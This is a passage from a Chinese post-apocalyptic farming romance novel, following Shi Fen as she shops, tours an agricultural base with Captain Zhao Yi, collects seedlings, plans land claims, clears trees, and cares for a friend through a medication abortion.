这一次两人目标明确,洗发水跟沐浴露都是买的大瓶装,就是没找到时枌喜欢的兰花香,只能买了柠檬香,除此之外还赠送了浴球跟海绵。洗洁精也买了,再然后去逛床上用品店。
这次买的都是大件,时枌一个人肯定是没办法全部带回农场的,只能找赵队走关系借辆车回去。
东西暂时堆放在叶枝蔚宿舍里,占据了一个小角落,去还手表的时候时枌还很懂事地问:“队长要不要跟我们一起吃晚饭?”
赵弋觉得稀罕,但看了看手表上的时间还是拒绝,“晚上比较忙,下次吧。”
主要是帮她申请明天去参观农业基地,他得提前打招呼。
赵弋查看了下积分余额,发现似乎看上去并没有什么变化,心想:她到底买了什么怎么都没花钱?
“好嘞,那赵队您忙。”时枌也没强求,叫上了队伍中其他人骨头张照照一起去食堂吃饭。
当然也是时枌请客。
她刚赚了两千积分买了药之后没怎么动,因为还有赵弋的积分,赵队十万积分这次也就给她刷了个零头,她自己的一千多积分请顿饭完全没问题。
五个人点了四个菜,要了米饭跟牛肉面,当然,牛肉面里面的牛肉完全可以忽略不计。
“周霓做任务去了,嘿嘿,我拍张照片发群里馋死她。”骨头奸笑着拍照。
发群里后很快招来周霓长达60s的语音辱骂。
老六就只顾着吃牛肉面吃菜了。
平时他们来食堂也就是吃一些简单的食物,这种正餐最多一周一次,还是跟队友一起拼单,原因无他,太贵,他舍不得吃。积分留着还有其他更重要的用处,而且吧,营养液才是性价比之王。
一支能顶饱一整天。
张照照跟骨头忙着做任务准备,他们跟叶枝蔚秦丰一样明天就要出去执行任务了,所以今天也没办法陪时枌玩。
骨头:“下次你再来我们肯定带你去酒馆,好好享受一把!”
时枌:“嗯嗯,我等着。”
被他们说了太多次,时枌都对酒馆产生向往了。
天黑前叶枝蔚跟秦丰带着时枌在东区内部逛了一圈才回宿舍,叶枝蔚明早就要出门,得提前收拾屋子,两人早早睡觉第二天起了个大早,时枌帮着叶枝蔚收拾床铺,再把她买的东西都搬下楼去。
赵弋已经在楼下等着,看见两人搬着大箱子下来打开车后备箱,很自觉地往里面搬,最后时枌叶枝蔚跑了三趟,塞满了一整个后备箱跟后座才算完事。
真的见到她买的东西,赵弋才有种花了钱的真实感。
看来买的并不少。
竟然真的没跟他客气。
跟叶枝蔚告别,时枌就坐上了副驾驶。
“参观完农业基地这辆车能送我回家吗?”时枌问。
“嗯。”赵弋点头。
他昨天特地提前忙完了事情,空出今天一整个白天,就是为了当好导游跟司机。
兰城的农业基地在偏远地区,开车都要半小时,周围围起了铁丝网,边上还竖了牌子写着高压电警告,看来是真的安保严密。
停好车进去之前需要过安检,时枌身上也没带什么武器,但是赵弋不需要安检,人家恭恭敬敬地就放他进去了,还问他要不要车。
“不用,随便逛逛。”
“您需要人帮忙介绍吗?”人家又问。
“不同,就随便逛逛。”
终于不再问了。
在来之前赵弋也是做了准备的,他把最近几年农业基地上交的汇报都看了一遍,脑子里对这个基地大概规模跟规划也清晰明了。
“农田在兰山脚下,主要是水稻小麦玉米,这边种的是蔬菜,果树也有,比较远。”赵弋说,“你如果对种苗感兴趣,我们就直接去办公室找人,不需要看这些了。”
这边全是露天的,一眼望去都是蔬菜大棚,里面种了什么也看不清,时枌也懒得一个个钻进去看,能直接去问问种苗当然是更好。
两人穿过马路,往建筑里面走。
“这里前身是兰城农业大学,现在保留了一部分实验楼跟农田,又往兰山方向扩张了农田,变成了现在的农业基地,这里一般都是他们内部人自己打理,很少会招收外边的兰城居民。”
“为什么呢?”在农场工作肯定是相对简单的,更容易赚取积分,说不定还会顺一些食物回去。
“算是一种内部垄断吧,占了人家的地人家的资源,总需要给他们学校内部人员一些优待,而且他们对农作物管理也比普通人更了解,他们更适合这项工作。”
这么解释时枌大概明白了。
“这里好像也有居民楼?看着比兰城其他的居民楼环境要好一些。”
“嗯,实验楼也改了一部分,一些教授专家住在里面,外边学生宿舍楼改成的居民楼大多住的都是基地的工作人员。”
看来生活条件是相当好啊。
时枌在心里估摸了一下这个农场的规模,“这个农场能够供应一整个兰城二十万居民的食物需求吗?
“不能。”赵弋说,“所以我们鼓励居民依靠营养液生活,这里另一项重要工作就是产出足够的营养液。”
赵弋没说的是,这里绝大多数正常食物都供给给了城主府或者政府高官,其次是军事基地,对普通民众开放的餐馆也只能收到一小部分。
“其实兰城附近也有不少适合耕种的农田吧,现在居民人口数量上来了,可以考虑让他们自己耕种啊……而且末世爆发才十五年,农民们还没死光呢,他们虽然不像教授专家那样有经验,但如果有种子有肥料,自己种地填饱肚子还是可以的吧。”
“嗯,你说的没错。”这也是兰城现在改革方向之一。
两人进了曾经的教学楼。
因为丧尸爆发时暑假刚开始,那段时间学生都已经期末考试结束回家去了,仅留下了小部分的学生,所以校园内部伤亡并不大,之后的清理工作也相对简单,教学楼办公楼还是很干净的。
这栋楼内部保留着兰城大部分的农作物种子,赵弋提前打了招呼,接待他们的是位白发苍苍的教授,模样很是和蔼,笑眯眯的。
“我姓刘,”刘教授看向时枌,“听说你在保护区外有一个农场,规模还不小?”
“还行吧,”时枌不太好意思挠挠头,“跟这里比起来就小得多了,但足够我一人的生存。”
“你平时种的水稻都是自留种吧?”刘教授问道。
时分点点头,“确实,我爷爷说过,杂交水稻自留种会一代不如一代,我现在这些种子产量已经很不尽人意了,空壳的很多,但是我也没地方买新的种子,这也是没办法的事,不过小麦跟玉米情况比较好。”
刘教授叹了口气,“现在条件紧张,没办法,我这里有一部分研究出来的新品种,你愿不愿意带回去帮我们试验一下,看看产量如何?”
保护区内部最大的问题就是地不够,他们需要保证每年的粮食产量供应,没有那么多地来给他们实验新品种。
“可以呀,还有别的新品种么?都给我一起带回去吧,趁着夏天还没到,我还能育一批苗赶紧种下。”
刘教授笑道:“给你种子也不是白给的,你得定期做记录,再上传到我们内部系统。”
时枌挑眉,“那这也算是一份工作吧?有积分吗?”
刘教授笑得更开心了,“有有有,我给你申请实验员补贴,就是比较慢……”
说完刘教授看看旁边半天不吱声的赵弋。
“不过有赵队在,流程会走得比较快吧?”
赵弋:“……倒也不用把走后门说的这么清新脱俗。”
第55章 第55章说不定到时候真的能给你……
刘教授带着他们参观了附近的实验室,包括一个无土栽培草莓的大棚,因为是在温室,这里的草莓都挂着红彤彤的大果子,格外饱满,除了常见的红色草莓之外还有白色粉色,看得时枌眼珠子都快粘上边。
刘教授笑道:“有一部分没用上的走茎苗正好需要处理,不如你一起带走吧?”
反正扔了也是浪费。
草莓一般都是夏季温度升高之后长走茎繁殖,播种繁殖反而会性状不稳定,这个季节拿走一批走茎苗虽然今年不太可能吃上果子,但好好长一年,明年肯定能吃上。
“好啊。”时枌高兴答应,帮着去打包苗。
她逛完这边就会回农场,苗只需要放进塑料袋再洒洒水避免干透就行,不需要过多处理。
草莓苗开了个好头,时枌又看中了他们新品的嫁接桃树、脆李树、耙耙柑树……
再带着一大包种子收获满满,时枌废了好大劲收拾后备箱才空出位置放树苗,那一包种子还没地方放,由她抱在怀里坐上副驾驶。
离开时刘教授下楼送他们。
时枌从副驾驶窗户探出脑袋,“教授我下回还来找你玩~”
刘教授笑得眼睛都看不见,“好啊,欢迎你再来。”
等车发动驶离,时枌还在感慨:“这个教授看起来真和善啊。”
赵弋敷衍地应和了两声。
他昨晚找他爸帮忙牵线搭桥,亲自登门送了两瓶好酒过去,态度能不好吗?
似乎每次来保护区都是着急忙慌带着一堆任务,但每次来也都是收获满满,这让时枌对保护区的印象变好了不少,开车的时候就探出脑袋仔细观察这座城市。
安定,是保护区的代名词。
可惜这里不是她想要的生活。
时枌趴在车窗上,低声说了句:“我还是觉得我的农场更好。”
有大花,有虎子大熊,还有那群吵得要死的闹钟大鹅……比拥挤的保护区要热闹自由得多。
赵弋没有接话。
车穿过拥挤的居民区,热闹的街道,再到城门口的零散小摊贩,安检出城门,一下子进入空旷的荒野之中。
这条路时枌已经熟悉,一眼望不到头的马路蜿蜒朝前,右边森林以松树为主,密密麻麻的绿,以及满地令她流口水的松针。
松针跟松树皮都是疏松土壤的好材料,尤其是时枌种了很多兰花,兰花植料就是以松树皮为主,而且松针也能用来当稻草来烧,方便易燃,可惜她的农场附近没有这样的松林,得上山才能找到松树,那地方又离得太远,不方便她收集松针松树皮。
不过她很快就要有自己的小马,以后每次上山也能顺便带一些回来翻地改良土壤。
“你们保护区外围这么大一片松树林,怎么不想着砍了,还能烧成炭自己用,”时枌说,“这种松树林有很大的火灾风险哦,烧起来特别的快。”
保护区内部居民住宅拥挤,万一这外围的松树林着火,火星飘了进去,一旦引燃居民区,那就很可怕了。
而且外围总会有不少人用枪,更容易走火。
“嗯,已经在商量在保护区外围砍一片防火隔离带。”
“不错不错,看来你们还是有脑子的嘛。”
赵弋笑了笑,没跟她杠,反而是换了个话题:“现在保护区几乎可以确定要在阳县驻军,好心提醒你一下,尽量在保护区的人到之前占好你需要的地盘,不然到时候……都得充公。”
时枌瞪大眼睛。
他真的提醒了她。
这年头什么东西最有用?除了食物跟枪械,对于时枌来说,土地是最最重要的。
“那我怎么做才能证明那块地是我的呢?”这是个令人头疼的问题,她总不能随手画个圈就说是自己的了吧。
“很简单,种点东西。”赵弋说。
时枌恍然大悟。
是啊,种点东西上去不就行了?都种上她的作物了,怎么不算她的地呢?
时枌掐指一算自己农场附近的田地,还有山脚下的水田,她一个人肯定种不过来,回去要跟罗辉一家还有白芳好好商量一下把地分了,大家各种各的,先把地占上最要紧。
马上就要进入夏天,温度上升,他们得在最近抓紧时间育苗、播种才行。
可惜现在她的农场只有自己一个劳动力,白芳估计之后得好好养身体,糯糯那么瘦小肯定也要养身体,活大部分还是得她自己来干,想想自己每年春天那几亩田时枌就已经很窒息了,现在为了占地还要多种几亩。
时枌只觉得两眼一黑,下巴搁在车窗上,深深叹了口气。
“秦丰他们最近就没有什么我农场附近的任务吗?”时枌问道。
如果有秦丰叶枝蔚,再把骨头周霓张照照叫上,最好还有赵弋这个最强劳动力,那她多出来的几亩田肯定是没问题的,自己反而还能清闲一些,——大不了就杀两头猪犒劳他们。
“不清楚,你得问他们。”赵弋说,“我最近会比较忙,没时间去你那边。”
他像是知道她接下来想问什么,提前给了答案。
果然,一听他很忙没时间后,时枌的脑袋更耷拉了,像棵成熟的麦穗靠在车窗上。
再次深深叹了口气。
呼出来的气被呼啸而过的风裹挟着消失不见,路边风景变幻,又是一片平稳的草地,他们已经到了罗辉之前的农场附近,看见草地,时枌也想了起来,自己马上就要有小马了,也要给马开辟出一片草地来方便训练,这块地方肯定不能少。
那她就得在自己农场附近砍树,清理空地。
又是一项大工程啊。
时枌脑子里已经装满了占地规划,突然来了精神,从车里翻出一张纸跟笔,先简单画了一个自己农场的地图,再以农场为中心向四周圈地。
赵弋半天没听见她说话,抽空瞥了一眼,看见她在纸上写写画画,似乎是地图。
“我建议你往阳县方向扩张,”赵弋说,“说不定到时候真的能给你通上电。”
“真的?”时枌眼睛一亮,“那我把马场安排到东边。”
“至少靠近阳县,安全也更有保障。”
这是实话,阳县有重要的煤矿跟铁矿,保护区这一次必定会派出重兵驻扎,防止其他人来捣乱,这样的话,
阳县周边也会更加安全。
时枌朝着阳县扩张,是个很不错的选择,——虽然她扩张的那点地盘并不能明显拉进她跟阳县之间的距离。
“主要是罗辉一家离你家很近,如果你往西面扩张,那罗辉一家就只能也跟着往西扩,那边更危险。”赵弋说。
时枌认真想了想,“你说的很有道理,那那个池塘呢?我跟罗辉白芳三家一起分了吧?毕竟还有那么多鱼,是不错的资源。”
“嗯,用铁丝网围起来,以后等阳县居民多了,再卖给他们。”
时枌笑了,“对,还能挣积分……可是不是说普通居民没办法自己交易积分么?”
“以后可能会有变化。”
阳县已经在推进了,严老一直支持的积分放宽政策想必也会跟着推进。
时枌也是赶上了好时候。
剩下一小时时枌睡了个午觉,一路上倒是安静,温热的风从窗户吹到她脸上,给她吹的一脑门的碎发扑朔迷离,奈何她睡眠质量好,这都没被弄醒,直到车停在她的农场门口,传来几声熟悉的狗吠。
时枌迷迷糊糊揉了揉眼睛,解开安全带伸了个懒腰,一睡醒就开始指挥赵队:“赵队帮忙搬一下呗,东西有点多。”
反正之后正忙的时候也使唤不上他,还不得趁着人在跟前多多使唤一下?
虎子跟大熊都到门口来迎接她,看见两人从车上卸东西好奇地嗅来嗅去,虎子甚至试图叼着包裹拽回家去,时枌担心他这么拖回去会把塑料弄破那里面的床单被罩就弄脏了,于是把捆起来的树苗递给虎子,叮嘱它:“轻点哦,小心别咬断了。”
虎子知道她的意思,它上山逮兔子的时候经常被叮嘱轻一些不要咬破兔皮,这么多年早就练出来了,轻轻叼着树苗昂首挺胸往院子里去。
大熊则是守在时枌身边摇尾巴,时枌抽空摸了摸它脑袋,大熊就非常开心。
赵弋搬着东西跟在她身后进去,走过铁丝网,进到院墙内,四只小狗从侧面小跑了出来,探头探脑一脸好奇看着他们。
赵弋把东西搬进一口客厅放好,出去时顺便摸了摸自己的狗。
老四又长大不少,肚子也是圆鼓鼓的。
厨房的白芳探出头来,“我刚给小狗们喂了食,时枌你饿不饿?”
时枌也没吃中饭,就让白芳帮忙煮碗面条。
来来回回跑了两趟才把东西搬完,时枌在客厅清点好自己的东西,确定没有遗漏,才放赵弋走。
准确来说,是催他赶紧离开。
她还得把药给白芳呢,他不适合在场。
赵弋倒是不着急,在外边跟老四联络感情,找时枌要了小鱼干来喂老四。
时枌:“它还小,不能吃小鱼干。”
赵弋就掰碎了,放在手心给老四吃。
时枌就没管了,转身进屋拆包裹,她买的东西多,给白芳的,给糯糯的,给罗辉一家的,得现在分出来,忙得很。
她干脆坐在一楼地板上,先拆出了自己的三件套,下好面条的白芳端着碗出来,“赵队也来吃吧,锅里还有。”
赵弋:“不用,我不饿。”
说完看了她一眼,发现时枌已经自顾自上桌吃面之后沉默半晌,将手里的小鱼干碎喂给老四,又用老四擦了擦手,才离开。
第56章 第56章或者挖掘机,您一定要给……
“天气热起来了,我本来想给你留一碗鸡汤,等到第二天也没看你回来,我就煮了面条跟罗辉一家一起吃了。”白芳坐在餐桌旁边低声道,“糯糯跟阳阳玩的特别好,今天一早就去罗辉家看小马去了。”
时枌三两口吃完面条,咬了一口荷包蛋才想起来回头看,发现赵弋的车已经驶离,只能看见一个车屁股后又把头扭回来,再咬了一口荷包蛋。
白芳在说什么她已经有点听不进去了,心里只想着:她刚刚就那么让人家走了,是不是有点没礼貌?
好歹赵队帮忙搬东西还开车送她回家,她却连一碗面都没留人家吃。
算了,下次吧,下次她专门给他杀只鸡熬鸡汤。
吃完饭,时枌把堕胎药给白芳,又盯着她一些注意事项,再继续拆包裹分东西。
白芳拿着药眼眶都有些红,“谢谢你费心了,这些新衣服还有床单总得透水的吧?我先帮你弄完再吃药。”
“这几套是给罗辉家的,你跟糯糯也有一套。”时枌把她们的那一份推了过去。
“我不用,上次回家我都带来了,还带了两套。”
“总得要换新的,不要跟我客气啦,花赵队的积分。”时枌大方道。
白芳笑了,“赵队把自己的钱给你花吗?”
“我找他要的,反正他积分够多,他平时也不用的。”时枌自顾自清理给罗辉一家的东西。
“你要他就给呀?”白芳又问。
“不然呢?他不至于那么小气。”时枌翻出一双小皮靴,“这个给阳阳穿是不是正好?”
“看着尺码差不多,可是,他有给别人花过吗?”白芳继续问。
“不知道啊,可能其他队员也给过吧。”
时枌把要给罗辉一家的物资清出来,有三床三件套,烈烈阳阳各一双小皮靴,还有两罐糖果,洗洁精也分给他们家一大瓶,附送两个海绵擦,方便刷碗。
时枌自己平时是用秋天收的丝瓜刷碗的,但毕竟比不上海绵,这玩意起泡多,就算没有洗洁精,用肥皂刷碗也会有很多泡泡。
看她专心收拾东西,白芳也不再问了,抱着时枌新买的衣物去简单清洗。
时枌则是抱着给罗辉一家的物资去了罗辉家。
这次成功牵回了小马,罗辉拿到物资又觉得不好意思,强烈要求留她在家吃午饭,但时枌刚吃过饭就只能拒绝,罗辉便说明天杀只羊给她补补身体。
时枌慌忙拒绝,“我这两天在保护区吃的也不少,让我歇会儿吧,我明天想吃点鱼,正好今晚下地笼整点鱼吃就行。”
罗辉:“那我来弄吧,你好好休息,明天我把鱼送回去。”
时枌表示可以,又跟他说了保护区的新政策,提醒他占地的事。
罗辉考虑过后说:“我毕竟不擅长种田,养牛养羊才是我的正职,农田我就不需要了,到时候跟你换粮食就行,倒是地我确实要提前圈起来方便牧羊,明天我去你家跟白芳一起大家商量个规划出来你看怎么样?”
“好,那咱们明天再详谈。”
时枌的这匹小马全身是棕色的,脑门上有一块白斑,这个配色倒是跟大花很像,时枌就直接给它取名“小花”。
至于大花,它现在每天都会自己到罗辉家跟其他牛社交,吃完草聊完天傍晚再回自己的牛棚,反正现在牛棚也挪到外边去了,离罗辉家很近,它往返也比较方便。
时枌牵着小花回家,先安置在马厩里,想着小马喜欢吃胡萝卜,时枌正好今晚要育苗,就找出了胡萝卜籽,立刻翻了一块地洒上胡萝卜种子,再浇上水。
她的萝卜地里是种了胡萝卜的,只是原本的量是给自己跟其他牲畜的,现在多了小马,她当然要多种一些。
今天也拿到不少其他种子跟苗,树苗先泡进装水的水桶里避免干死,草莓苗则是抓紧时间现在就种下去。
现在整个外院都能种菜,之前留下的空地还不少。
时枌忙活到天黑,终于把草莓苗种完,再浇水,洗洗手,收床单被罩。
今天白芳洗了不少东西,太阳又好,在外边晾了一整天干崩崩的,凑近闻还有淡淡香味,先把这些都收进一楼客厅,白芳跟她一起配合叠好,再拿上楼去。
今天一整天似乎都没怎么停过,时枌干活的时候不觉得困,这会闲下来简单洗个澡就困了,早早上床睡觉。
不知道是不是因为今天没留赵队吃饭的愧疚使然,她竟然
梦到了赵弋。
夜色下的男人靠着车站立,低垂的眉眼掩盖了本人的情绪,但时枌就是看出来他心情不佳,而此时赵队身后是绵延不绝的尸潮,层层推挤着向他而来的丧尸流着狰狞的口水。
时枌心里着急,想要大叫让他快跑,却发现自己发不出声音,只能在原地挥着胳膊上蹿下跳,但赵弋还是巍然不动,直到被尸潮吞没。
时枌心口一悸,猛然惊醒。
醒了之后梦境细节就变得模糊,意识到是梦之后整个人都松了口气,迷迷糊糊看了眼窗户,还是黑漆漆的,她翻个身裹好毯子,又转身睡去了。
好在这一次不是乱七八糟的梦。
第二天一早趁着早饭时间,时枌跟罗辉还有白芳开了个简短的会议,——分地。
罗辉原本就有几亩农田,已经在时枌的指导下种上了,他也确实不太会种地,一家人更愿意养牛羊,所以农田罗辉就不再要了,只是围着他家一圈的地他打算好好扩建,往山脚的方向扩建,这样方便牧羊。
时枌表示理解,那么自己就按照计划往东边扩。
“东边树林多,比我们这附近要多得多,你一个人砍树肯定来不及,我正好也要砍柴补充炭火,不如等我忙完我家里的事跟你一起砍树。”罗辉说。
时枌本来就缺劳动力,罗辉主动提出来她就没再拒绝了,直接答应。
“这边丧尸少,我的铁丝网现在也没什么用了,我想就把铁丝网拆了,再用砍下来的木头做简单的栅栏,这样也能圈更多的地。”时枌说。
“我就不需要农田了,之后我也要回阳县去住,而且我也不会种地。”白芳说。“我力气还是有的,可以帮着你种。”
“那行,地就我跟罗辉分了,池塘的话,我跟罗辉共同拥有,可以吗?”时枌问。
罗辉:“我只是后搬来选了一个离池塘近的地方,原本这个池塘就是你的,不存在跟我均分的情况啊。”
时枌笑道:“池塘离你家那么近,如果我霸占了显得多霸道啊,还是我们两家分了,再一起维护,这样对双方都好。”
罗辉只能答应。
商量完,罗辉才想起来,“今天一早我起地笼发现不少鱼,都给你拎过来了,你慢慢吃。”
时枌这才发现厨房多了两桶鱼,鱼都被分好了,数量最多的小白条放一个盆,另外一些杂七杂八的鱼放一盆,时枌甚至还看见了两三条黄鳝。
她还挺喜欢吃黄鳝的,爆炒最香了,就是不好处理。
白芳估计是不会处理的,这玩意滑不溜手也不用去鱼鳞,得开膛破肚取内脏。
时枌是个手艺人,当场把工具翻了出来,鱼头钉在木板上固定好,再用刀一划,肚皮就破开了,揪出乱七八糟的内脏,扔进装清水的盆中清洗。
“这个就用辣椒一起烧是吧?”白芳问她,她也没怎么吃过这玩意,黄鳝长得像蛇,看起来怪吓人的。
“是的,得爆炒,中午这个菜我来做吧。”
辣椒她有的是,新鲜的、做成剁椒的都有,她今年还打算照着秦丰的方子再做几缸泡椒。
收拾完黄鳝,时枌一手的鱼腥,洗了手就戴上手套跟斧头,去伐木。
先把靠近农场附近的大树给砍了。
铁丝网外是有不少树木的,平时她懒得管,长就长了,现在要占地,就得清理出来,方便种上菜或者自己喜欢的树木。
原本这些树留着也是有遮蔽农场的作用的,避免外来人一眼就能看见她的农场,但现在听说保护区要来驻军,隐蔽肯定是不行了,只能大大方方的。
砍了树,她院子的光照也会更好。
靠东扩建的地方是给小马的,时枌拎着斧子吭哧吭哧干活的时候就把小花放在一边吃草。
最近格外粘她的虎子跟大熊也跟了过来,看见陌生的新成员好奇地闻闻嗅嗅,跟小花打招呼。
砍树是个力气与技巧并存的活儿,抡斧头是真累啊,还得计算树倒下的角度,别把她两条狗一匹马给砸到了。
因此一早上时枌砍树效率并不高。
要是有台挖掘机就好了。
别说这些树,还能给她当场挖个游泳池来。
时枌看看时间,估摸着要做午饭了,她也的确是饿,就收工回家做饭。
白芳已经给她备好了菜,她说炒黄鳝要大量的辣椒跟生姜大蒜,白芳就切好了姜片剥好了大蒜,辣椒也摘了不少,主要是红彤彤的那种,看起来就很辣。
“我一会儿吃完午饭就得吃药,就不吃这么辣了。”白芳说。
一共就那么点黄鳝,肯定要给时枌吃,至于糯糯。
“我给糯糯做了萝卜鲫鱼汤,小孩子喜欢吃这个。”
“那行。”
锅烧好,加猪油,快速把姜蒜丢进去炒两下,再把切成段的黄鳝丢进去,再丢辣椒,简单翻炒熟了就行,赶紧捞出来。
整个厨房都是辣椒味,白芳都被呛出去了,——她没想到这么辣。
时枌心满意足烧好了菜,等待其它菜的间隙给红彤彤油亮亮的黄鳝拍了照片,那股香辣味儿似乎都要从照片里扑出来,然后她把照片发到了群聊里。
她的农场离保护区太远,信号很一般,一般消息也发不过去,这会儿这张照片还在转圈圈。
时枌等了会儿,也没发出去,开始嫌弃手表。
又觉得无聊,就去骚扰赵队。
给赵队发消息。
——赵队,保护区能借我辆挖掘机吗?
——实在不行你本人过来帮忙也行,砍树真的太麻烦了。
——人或者挖掘机,您一定要给我弄到手啊!
反正消息发不出去,时枌就在饭前发了好多条。
第57章 第57章好想赵队啊。
吃完一盘麻麻辣辣的爆炒黄鳝,又带上灌满温水的水壶,白芳还给她洗了些蓝莓西红柿当饭后甜点带上,时枌继续去砍树圈地。
这一次就不带虎子大熊了,避免它们乱跑被树砸到。
但是砍倒的树也不能就那样放着,时枌还得锯成一节一节,方便当柴烧或者烧炭,总而言之,真正清理砍好一棵树,能花时枌一整天的时间。
扎扎实实的力气活十分消耗体力,时枌干到下午,一身汗,带来的水跟水果也都吃完,精疲力竭回去洗澡休息。
这简直不是人干的活,比搬丧尸沤肥都累。
至少丧尸没有这么重,不需要抡斧头,沤肥也只需要注意火候燃烧充分就行,不比砍树劈柴,一整个牛马活计。
时枌瘫在沙发上,一时间迷茫了。
她在想,凭她一个人,真的能完成圈地这项工作吗?更何况砍完了树还得去清理那些小灌木,平整地面,竖起围栏……
天呐,她已经头皮发麻了。
没有挖掘机的话……她怎么才能干完啊。
时枌从沙发上爬起来站到二楼阳台去数她农场东边有多少棵大树。
密密麻麻,至少上百棵。
两眼一黑,时枌重新躺了回去。
农场机械化迫在眉睫,急急急。
她在脑子里回顾了下最近需要干的活。
种子已经泡水了,接下来就是催芽育苗,等小苗长大还需要至少半个月的时间,这段时间她也不需要操心种地的事,明天要干的就是把已经泡水一晚的树苗抓紧时间种下去,但这些果树还得根据它未来长势大小来规划种在哪,以免到时候又要挖出来重新种。
她家附近都是菜地,前院果树居多,已经没地方再种果树了,而且这些新品种还需要定期记录,最好是种在一起方便每次一起集中观察记录,时枌想了想,还是她现在正在砍树的这块地比较合适。
小马不需要很大的马场,马场旁边除了新建一个马厩跟干草棚就没其他需要了,空出来的地方先规划好道路,再在道路两边种上果树。
果树相比蔬菜更好管理,根系发达,只要熬过小苗期等根系扎好了,后期基本上就只需要修剪施肥,不需要盯着浇水。
但是整个农场都这么成片成片地种菜种果树,似乎又有点干巴。
她的房屋附近都是种了一些花草的,尤其是她的兰花们,或许可以把花草跟果树结合起来,增加观赏性?
只是这样一来就复杂了。
她需要考虑到花草的花期跟耐造
程度,而且扩地之后就不仅仅是她家附近这一小片区域了,她还得再育花苗,到时候再移栽过去,但花苗也不是一天两天就能育好的,草花秋天收种子播种,来年春天才能种下,一些扦插的绣球月季也得现在开始弄,等枝条生根发芽再种下去……所以她在安排好果树的时候同时给花草也留出空地来。
想到这时枌脑袋更痛了。
干脆拿纸笔写下来。
之前在车上画的简图被它重新画到了新的、更大的纸上,现在又在上边加上道路,以及道路两边或许可以称作花园的规划。
最后画到她直接在沙发上睡着。
中途被什么碰撞声吵醒,时枌一个激灵,以为屋子进了人,冲进卧室顺手拎了把枪就跑下楼梯,正好看见白芳趴在楼梯上,糯糯正在一边着急扶她起来。
时枌把枪放到一边,小跑下楼帮忙扶人。
白芳脸色苍白,额头上都布满了汗珠,手捂着肚子四肢无力,仿佛忍耐着极大的痛苦。
“怎么了?吃坏肚子了?还是受伤了?”时枌着急地问。
糯糯也不会说话,只是一个劲儿地指白芳的肚子。
白芳拉着时枌的手安抚她,“没事,我刚……吃了药。”
时枌没想到堕胎药这么可怕。
白芳另一只手还攥着她写的纸条,上面都是医生的叮嘱,在给药的时候时枌就把卫生巾给白芳了,还是给的大号。
“你垫卫生巾了吗?”时枌问。
白芳点点头。
她知道不能就这么躺着,得站起来走走,方便孕囊排出。
她按照医嘱空腹吃药,避免药物副作用呕吐,一般来说这两天只会有一些流血的小反应,但她服药后到了晚上就开始腹痛,出冷汗,流血,白芳说这种痛跟痛经很像。
时枌长这么大没痛过经,也不明白有多痛,但看白芳的表情就已经头皮发麻了。
“医生说可能会第二天才排出来,可以适当躺着休息休息。”时枌说。
就是不能吃东西,很遭罪。
“我知道,我先走一走,活动活动,我感觉快出来了。”
时枌看见她裤子上沾了血,想着她可能是担心弄脏床单所以不躺,就去楼上翻出自己来月经时垫着的小毯子递给她。
“我来月经会垫这个,你先用用,也不怕弄脏床单,这个好洗的,我再去找找有没有大一点的卫生巾,你这个血有点多……”时枌说着又跑上去了。
她找到了一包更大更厚实的,催促白芳去换上,担心她站不稳,都想进去帮忙,被白芳拒绝。
白芳自己去洗手间处理,换了更方便的宽松的裙子,裤子先丢进桶里她明天再洗,仔细检查卫生巾上没发现孕囊后有些失望,强忍着疼痛跟发软的腿出去。
糯糯赶紧上前扶着她,拉着她往房间去,想让她休息。
时枌也说:“今天也很晚了,你得睡一下,不着急的,药没那么快起效。”
白芳这才被劝了回去,时枌看着她躺下,盖上毯子才安心。
关上房门留她们休息,时枌在一楼多待了会儿,生怕白芳趁自己不在又跑出来。
同时心里也莫名害怕。
她听医生说过药流会很痛苦,但没想到会这么痛,看见白芳的样子她都觉得痛的是她自己,这会儿肚子总觉得怪怪的,她去给自己倒了杯温水喝了才舒服很多。
过了会儿,房间没动静了,时枌才吹灭一楼客厅的蜡烛上楼去。
她想起了带回来药物。
她在保护区外围的森林也受了不少擦伤还有淤青,当时觉得都是小伤就没怎么在意,穿上衣服也看不太出来,但是瘀伤这种东西就是之后痛,一碰就痛,她记得赵弋给她备的药里面有活血化瘀的药,她就把药箱拿了出来找药,——药箱也是赵弋给她备的,不知道有没有花钱,看着好像是个质量很好的药箱呢。
找到了一瓶红花油,时枌按照上边说的用药,再自己慢慢揉开,那滋味,别提多酸爽了,比她受伤的时候还痛,痛的她龇牙咧嘴的。
今天砍树砍了一整天,她的胳膊跟肩颈都开始酸胀,顺便也揉了揉自己肩膀胳膊。
自己给自己揉总是不得劲。
她记得秦丰说的他们这些军人在军队会有定期体检还有理疗服务,秦丰当时还催她趁着在保护区赶紧去把今年的次数用一用,她觉得自己年轻身体棒就没去,选择去逛街,现在想起来才后悔。
她应该去按一按的。
她的身体也没那么棒。
也不知道赵队砍树会不会累,如果赵队砍树跟搬运丧尸一样一支营养液管用一整天就好了,她扩地计划里那上百棵树肯定能在保护区驻军到之前都砍光了。
好想赵队啊。
嘤嘤嘤。
时枌痛到吸了吸鼻子,坚强地继续给自己上药,眼泪在眼眶里打转,——痛的。
***
刚到家的赵弋先打了两个扎实的喷嚏。
东区的会终于开的差不多,他也不用天天去会议上当吉祥物,今天难得早回家,还能赶上家里的晚饭,不用在会议室将就也不用被逼着跟领导去食堂吃宵夜。
虽然赵弋对食物要求不高,但比起在会议室跟听那群老头子互相喷口水,他当然是更愿意回家吃他爸亲自下厨做的饭。
今天晚饭是赵将军亲自擀的面条。
手指粗细的面条,手艺明显跟他的副队差了十万八千里。
有机会他一定要把秦丰叫到家当着他爸的面做顿饭出来,让赵将军自己看看自己的水平如何,而不是一上桌就用那种慈父眼神逼着他这个便宜儿子说昧着良心的话夸他做饭好吃。
今天回家没看见他妈,赵弋洗了手上桌后顺便问了一句“妈呢?”以显示自己尚有孝心。
赵将军系着围裙,手里端着自己的一大碗面条,尽管是手指粗细的面条,但该有的都有,鸡蛋、青菜、小葱。
“她今晚有点忙,晚点回。”他就这么坐到儿子对面,然后贼眉鼠眼地抬头看了眼儿子,像是怕被人发现似的,看了一眼就立刻低下头,拿起筷子假模假式地翻弄粗细不均匀的面条,顺便问了句话转移儿子注意力,“今天面条辣不辣?我特地放了辣椒油。”
辣椒油?赵弋看了看略红的面汤,以及漂浮起来的两根小辣椒。
这个辣度,在他副队那里都算清淡。
“还行。”赵弋回了个中规中矩又略带赞扬的答案。
已经是很抬举他爸了。
“咳咳。”
熟悉的说“正事”清嗓子音效传来,赵弋皱了下眉毛,收敛心神,自动进入战备状态。
“那个,我听军医院那边说,你最近……带着个女孩去拿药啦?”
赵弋心想这点小事有必要用这种语气问他么?
